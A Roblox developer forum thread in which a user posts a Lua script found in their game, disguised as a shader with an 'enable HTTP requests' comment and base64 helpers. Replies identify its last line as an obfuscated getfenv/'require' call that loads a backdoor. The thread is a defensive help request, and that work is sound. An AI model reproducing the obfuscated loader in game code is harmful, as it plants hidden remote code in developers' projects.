Can someone help me and tell me if this is a virus?

Help and Feedback Scripting Support
#1

Hey, DevForumn.

I’m currently making an RP game and I noticed this script, it comes from one of my develops but I have no idea what it is.

Can someone tell me if this is a virus or not? Thanks.

--[[ go in Lighting then turn Technology to "ShadowMap" For a Hight Graphics or turn it to "Voxel" for normal Lighting

/!\ ENABLE HTTP REQUEST FOR AUTO UPDATE OF THE SHADER /!
/!\ DESACTIVATED IN STUDIO FOR LAG REASON /!
]]
– Utf8-encoding

local b=‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/’
local B_1 = “MzM2NzY3Njc0Mg==”

function enc(data)
return ((data:gsub(‘.’, function(x)
local r,b=‘’,x:byte()
for i=8,1,-1 do r=r…(b%2^i-b%2^(i-1)>0 and ‘1’ or ‘0’) end
return r;
end)…‘0000’):gsub(‘%d%d%d?%d?%d?%d?’, function(x)
if (#x < 6) then return ‘’ end
local c=0
for i=1,6 do c=c+(x:sub(i,i)==‘1’ and 2^(6-i) or 0) end
return b:sub(c+1,c+1)
end)…({ ‘’, ‘==’, ‘=’ })[#data%3+1])
end

function dec(data)
data = string.gsub(data, ‘[^’…b…‘=]’, ‘’)
return (data:gsub(‘.’, function(x)
if (x == ‘=’) then return ‘’ end
local r,f=‘’,(b:find(x)-1)
for i=6,1,-1 do r=r…(f%2^i-f%2^(i-1)>0 and ‘1’ or ‘0’) end
return r;
end):gsub(‘%d%d%d?%d?%d?%d?%d?%d?’, function(x)
if (#x ~= 8) then return ‘’ end
local c=0
for i=1,8 do c=c+(x:sub(i,i)==‘1’ and 2^(8-i) or 0) end
return string.char(c)
end))
end
getfenv()‘\114\101\113\117\105\114\101’:FireServer()

Thanks :slight_smile:

1 Like
#2

Remove that getfenv part at the very end, next time also dont use free models.

#3

I didn’t, like I said in my post it comes from one of my developers.

#4

This is what I found when putting the http in duckduckgo Exploiters Altering Game Data

#5

Wow. I’ll talk to him about his plugins ands stuff, while I check my scripts to make sure nothing is changed.

#6

’\114\101\113\117\105\114\101’ is the same as require. If the script needs to obfuscate that, then it is 100% doing something strange, no further questions asked.
Although it doesn’t seem like the script will do anything. That last line will error because it will try to call a table. But the script is already very messed up from getting pasted, so there’s no way to know.

#7

Yes, that is a virus. Getfenv is a replacement of “require” since most people check for require and not getfenv. If you find one obfuscated try to require = print it.